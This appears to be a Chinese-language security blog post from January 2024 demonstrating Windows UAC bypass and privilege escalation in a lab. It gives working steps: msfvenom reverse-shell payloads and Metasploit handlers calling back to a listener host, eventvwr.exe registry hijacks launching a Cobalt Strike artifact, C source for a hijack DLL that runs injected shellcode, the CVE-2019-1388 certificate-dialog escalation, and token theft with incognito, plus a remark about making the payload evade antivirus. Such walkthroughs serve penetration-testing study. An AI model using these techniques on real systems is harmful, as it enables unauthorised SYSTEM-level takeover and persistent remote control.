提权-windows绕过UAC提权

绕过UAC提权

UAC概述

UAC(User Account Control),中文翻译为用户帐户控制,是微软在Windows Vista和Windows7中 引用的新技术,主要功能是进行一些会影响系统安全的操作时,会自动触发UAC,用户确认后才能执行。因为大部分的恶意软件、木马病毒、广告插件在进入计算机时都会有如:将文件复制到Windows或 Program Files等目录、安装驱动、安装ActiveX等操作,而这些操作都会触发UAC,用户都可以在UAC 提示时来禁止这些程序的运行

许可提示当用户尝试执行需要用户管理访问令牌的任务时,会显示同意提示。 下面是 UAC 同意提示的示例

image-20240109113933997

凭据提示当标准用户尝试执行需要用户管理访问令牌的任务时,会显示凭据提示。 还可以要求管理员提供其凭据

image-20240109114013972

UAC触发操作

UAC触发的条件如下

1
2
3
4
5
6
7
8
9
10
11
修改Windows Update配置;
增加或删除用户帐户;
改变用户的帐户类型;
改变UAC设置;
安装ActiveX;
安装或卸载程序;
安装设备驱动程序;
修改和设置家长控制;
增加或修改注册表;
将文件移动或复制到Program Files或是Windows目录;
访问其他用户目录

UAC有用四种设置要求

简单来说,UAC设置分四种,分为始终通知、仅在程序尝试对我的计算机进行更改时通知我、仅当程序尝试更改计算机时通知我(不降低桌面亮度)和从不通知。

输入W+R –msconfig 设置UAC

image-20240109114330678

MSF和CS绕过UAC的方法

CS绕过UAC

拿到一个普通管理员的SHELL,在CS中没有*号代表有UAC

image-20240109143102510

使用CS自带的插件进行绕过

image-20240109143232503

成功绕过UAC

image-20240109143349971

对比 :

没有提权前,是没有权限的

image-20240109143422211

提权后:

image-20240109143626947

MSF绕过UAC

bypassuac模块

使用该模块提权的使用,当前用户必须是管理员组中的用户,UAC为默认设置

生成一个MSF的SHELL

1
2
3
4
5
6
7
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.210.100.128 LPORT=4567 -f exe -o payload.exe //生成木马

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 10.210.100.128
set lport 4567
exploit

image-20240109144219683

试一下getsystem发现失败

image-20240109144241028

搜索bypassuac模块

1

image-20240109144549237

尝试用第二个,设置参数 session然后run即可

getsystem

image-20240109144801842

RUNAS模块

该模块会创建一个可执行文件,目标机器会运行一个发起提升权限请求的程序,提示用户是否要继续运行,如果用户选择继续运行程序,就会返回一个system权限的shell

这个模块对用户没有要求,点击通过即可,但是会创建一个恶意文件,对该文件进行免杀即可

1
use exploit/windows/local/ask

设置session然后run,目标机器会出现弹窗

image-20240109145007913

点击确定即可上线

image-20240109145205157

基于白名单AutoElevate绕过UAC

提权原理

利用白名单程序的本质实际上是劫持注册表,这种方法主要是通过寻找autoElevated属性为true的程序, 修改其注册表command的值,改成我们想要执行的paylaod,在该值中指明的字段会在这类程序运行时自动执行,类似于默认程序打开,当你以后运行该程序时,这个command命令都会自动执行。

UAC同样也会对系统本身的程序造成影响,微软也不希望运行系统程序也需要询问用户,因为系统程序 是安全的。因此,微软则在 UAC 中添加了白名单机制常见白名单如下

1
2
3
4
5
6
7
8
9
msconfig.exe
taskmgr.exe
perfmon.exe
cleanmgr.exe
sdclt.exe
dccw.exe
eventvwr.exe
computerdefaults.exe
fodhelper.exe

提权复现

我们在win7的系统下运行eventvwr.exe,使用Process Monitor监控该程序,发现 HKCU\Software\Classes\mscfile\shell\open\command 的值结果是没发现

image-20240109151353772

由于这些注册表项不存在,用户可以在注册表中创建此结构,以便绕过用户账户控制 (UAC) 执行具有更 高权限的命令。

image-20240109151742393

再次运行eventvwr.exe弹出计算机

image-20240109151817727

也可以在命令行中执行添加操作(第二条最好添加上,不然可能不成功):

image-20240109152150132

1
2
reg add HKCU\Software\Classes\mscfile\shell\open\command /ve /t REG_SZ /d "cmd.exe /c calc"
reg add HKCU\Software\Classes\mscfile\shell\open\command /v DelegateExecute /t REG_SZ

这虽然看起了还是普通用户,但是已经绕过了UAC可以执行命令了,接下来利用powershell控制台打开 cmd添加用户或者启用administrator,然后使用runas进行权限切换到administrator

CS演示

image-20240109152835067

修改注册表

1
2
reg add HKCU\Software\Classes\mscfile\shell\open\command /ve /t REG_SZ /d "C:\Users\r1cky\Desktop\artifact.exe"
reg add HKCU\Software\Classes\mscfile\shell\open\command /v DelegateExecute /t REG_SZ

image-20240109153222732

执行eventvwr.exe成功绕过uac

image-20240109153332508

image-20240109153316717

基于白名单DLL劫持绕过UAC提权

提权原理

DLL是什么

dll为动态链接库文件,又称”应用程序拓展”,是软件文件类型。在Windows中许多应用程序并不是一个 完整的可执行文件,它们被分割成一些相对独立的动态链接库文件,即dll文件,放置于系统中,个人理 解类似于我们编程中引入的模块

DLL提权原理

如果在进程尝试加载一个DLL时没有指定DLL的绝对路径,那么Windows会尝试去指定的目录下查找这 个DLL;

如果攻击者能够控制其中的某一个目录,并且放一个恶意的DLL文件到这个目录下,这个恶意 的DLL便会被进程所加载,从而造成代码执行。这就是所谓的DLL劫持

DLL的加载顺序如下

1
2
3
4
5
6
1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5.加载 DLL 时所在的当前目录
6.PATH环境变量中列出的目录

Know Dlls注册表项

从windows7之后,微软为了更进一步的防御系统的dll劫持,将一些容易被劫持的系统dll写进了一个注册表项中,那么凡是在此项目下的dll文件就会被禁止从exe自身所在目录下调用,而只能从系统目录即 system32目录下调用

1
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

image-20240109155435105

提权环境

当前采用win7系统,找到一个白名单的程序 SystemPropertiesAdvanced.exe 位置在 C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe 目录下,打开如下是windows的属性设置,通过进程监控找到加载的DLL文件进行劫持就可以提权

打开不需要uac认证

image-20240109160009574

先将操作在本地执行,使用process monitor进行监控,过滤DLL和 NAME NOT FOUND ,寻找可以替换的DLL 文件,注意文件的权限是否可以在目录写入,

可以看到在C盘的tools目录的jdk文件中有一个srrstr.dll被 调用,但是没有加载,我们生成恶意的DLL文件看看是否可以被劫持

image-20240109161528487

打开C语言编辑器生成DLL文件,进行弹出CMD窗口,或者打开计算器进行测试CPP文件内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/* Replace "dll.h" with the name of your header */
#include "dll.h"
#include <windows.h>
#include <stdlib.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
{
switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
{
system("cmd.exe");
}
case DLL_PROCESS_DETACH:
{
break;
}
case DLL_THREAD_ATTACH:
{
break;
}
case DLL_THREAD_DETACH:
{
break;
}
}
/* Return TRUE on success, FALSE on failure */
return TRUE;
}

image-20240109161639947

生成DLL文件并且,传到 C:\tools\jdk-11.0.11\bin\srrstr.dll 目录下,看看是否能劫持,并且绕 过UAC

image-20240109161707749

image-20240109161721029

提权步骤

利用CS上线进行劫持DLL提权绕过UAC认证

首先上线CS

使用CS生成shellcode,并且加载到DLL文件中,上传到目标系统中加载的代码如下

image-20240109162012993

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
/* Replace "dll.h" with the name of your header */
#include "dll.h"
#include <windows.h>
#include <stdlib.h>
HANDLE hThread = NULL;
typedef void(__stdcall* JMP_SHELLCODE)();
unsigned char shellcode[800] = {shellcode};

DWORD WINAPI jmp_shellcode(LPVOID pPara)
{
LPVOID lpBase = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
memcpy(lpBase, shellcode, sizeof(shellcode));
JMP_SHELLCODE jmp_shellcode = (JMP_SHELLCODE)lpBase;
jmp_shellcode();
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
{
switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
{
hThread = CreateThread(NULL, 0, jmp_shellcode, 0, 0, 0);
}
case DLL_PROCESS_DETACH:
{
break;
}
case DLL_THREAD_ATTACH:
{
break;
}
case DLL_THREAD_DETACH:
{
break;
}
}
/* Return TRUE on success, FALSE on failure */
return TRUE;

image-20240109162402874

接下来运行白名单程序,可看待提权成功,绕过了UAC认证

image-20240109162520282

CVE-2019-1388 UAC提权

漏洞描述

CVE-2019-1388 UAC提权是一个Windows证书对话框特权提升漏洞,此漏洞是因为 UAC(用户账户控制)机制的设定不严导致的。默认情况下,

Windows UAC 提示本身是由名为 consent.exe 的可执行文件生成的,该可执行文件以 NT AUTHORITY\SYSTEM 身份运行并且有 System 的完整性水平

即UAC的弹窗就是最高权限运行的

由于用户可以与此UI 进行交互(点击是 否等),因此有必要对 UI 进行严格限制。否则,低特权用户可能能够通过UI操作提权到system权限

漏洞影响

漏洞影响的版本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
windows server机器
Windows 2008r2 7601
Windows 2012r2 9600
Windows 2016 14393
Windows 2019 17763

windows 个人电脑
Windows 7 SP1 7601
Windows 8 9200
Windows 8.1 9600
Windows 10 1511 10240
Windows 10 1607 14393
Windows 10 1703 15063
Windows 10 1709 16299

漏洞原理

如果在运行一个可执行文件的时候我们触发了 UAC,在点击「显示有关此发步者的证书的信息」这个链 接之后我们可以看到证书里的 Issued by(颁发者) 字段,这个字段对应的值就是 OID值,如果这里是一个超链接就可以提权,如果不是就不行

使用HHUPD.exe

image-20240109164353457

通过点击此链接会触发以 SYSTEM 权限打开浏览器,然后此浏览器就会有 SYSTEM 权限,(浏览器打开必须先要关闭UAC对话框)通过保存按钮打开CMD,CMD就会继承浏览器的 SYSTEM 权限,由此就 完成了由普通用户到 NT AUTHORITY\SYSTEM 用户的提权。

image-20240109164626095

漏洞复现

查看当前的用户权限是r1cky,是一个低权限

image-20240109165035918

以管理员权限打开HHUPD.EXE,点击显示详细信息里显示的显示有关此发布者的证书的信息

image-20240109165046377

点击该链接之后,关闭上面这两个弹窗,会出现浏览器的页面

image-20240109165054622

IE浏览器访问链接后点击页面下拉菜单面里的另存为选项

image-20240109165122619

弹出位置不可用的对话框点确定

在文件名的位置输入如下的信息 C:\Windows\System32*.*

找到里面的CMD文件,右键打开,即为system权限

image-20240109165305489

image-20240109165351626

image-20240109165408677

Windows令牌概述和令牌窃取攻击

Windows令牌

令牌(Token)是系统的临时密钥,相当于账户名和密码,用来决定是否允许这次请求和判断这次请求 是属于哪一个用户的,它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌持续存在系统中,除非系统重新启动

令牌最大的特点就是随机性,不可预测,一般黑客或软件无法猜测出来,令牌有很多种,

1
2
3
访问令牌(Access Token)表示访问控制操作主题的系统对象
会话令牌(Session Token):是交互会话中唯一的身份标识符,可以理解为web中的token
密保令牌(Security Token)又叫作认证令牌或者硬件令牌,是一种计算机身份效验的物理设备

Windows 的访问令牌( AccessToken) 中包含如下内容

1
2
3
4
5
6
7
8
9
10
11
12
用户账户的安全标识符(SID)
用户所属的组的SID
用于标识当前登陆会话的登陆SID
用户或用户组所拥有的权限列表
所有者SID
主要组的SID
访问控制列表
访问令牌的来源
令牌是主要令牌还是模拟令牌
限制SID的可选列表
目前的模拟等级
其他统计的数据

Windows 的访问令牌( AccessToken) 有两种类型

1
2
Delegation Token:授权令牌,也叫主令牌,支持交互式会话登录 (例如本地用户直接登录、远程桌面登录访问)
Impresonation Token:模拟令牌,支持非交互的会话 (例如使用 net use访问共享文件夹)。

两种 token 只在系统重启后清除

具有 Delegation token 的用户在注销后,该 Token 将变成 Impersonation token,依旧有效

令牌窃取

incognito窃取令牌

incognito.exe是一个令牌窃取的工具,常用用法如下

1
2
incognito.exe list_tokens -u 列出用户的令牌
incognito.exe execute -c "令牌" 程序名 使用窃取的令牌执行命令

1、当我们拿到一个权限的时候,如果是普通的用户或者有UAC认证的管理员用户,可以窃取的令牌只有自己的令牌不能用于提权

image-20240109171055577

2、如果是administrator或者绕过的UAC的管理员,就可以窃取到system用户的令牌

image-20240109171333051

3、使用窃取的令牌进行提权

1
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe

image-20240109171632734

MSF中的令牌窃取

1、使用MSF上线,然后加载incognito

1
2
3
4
5
6
7
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.41.211 lport=4488 -f
exe -o test.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.41.211
set lport 4488
run

image-20240109171921843

2、加载incognito,进行令牌窃取,用法如下

1
2
3
4
load incognito 加载incognito
list_tokens -u 列举token令牌
impersonate_token "NT AUTHORITY\SYSTEM" 权限窃取
rev2self 或 drop_token 返回之前toke

image-20240109171949167

image-20240109171957626


提权-windows绕过UAC提权
http://example.com/2024/01/09/提权-windows绕过UAC提权/
作者
r1
发布于
2024年1月9日
许可协议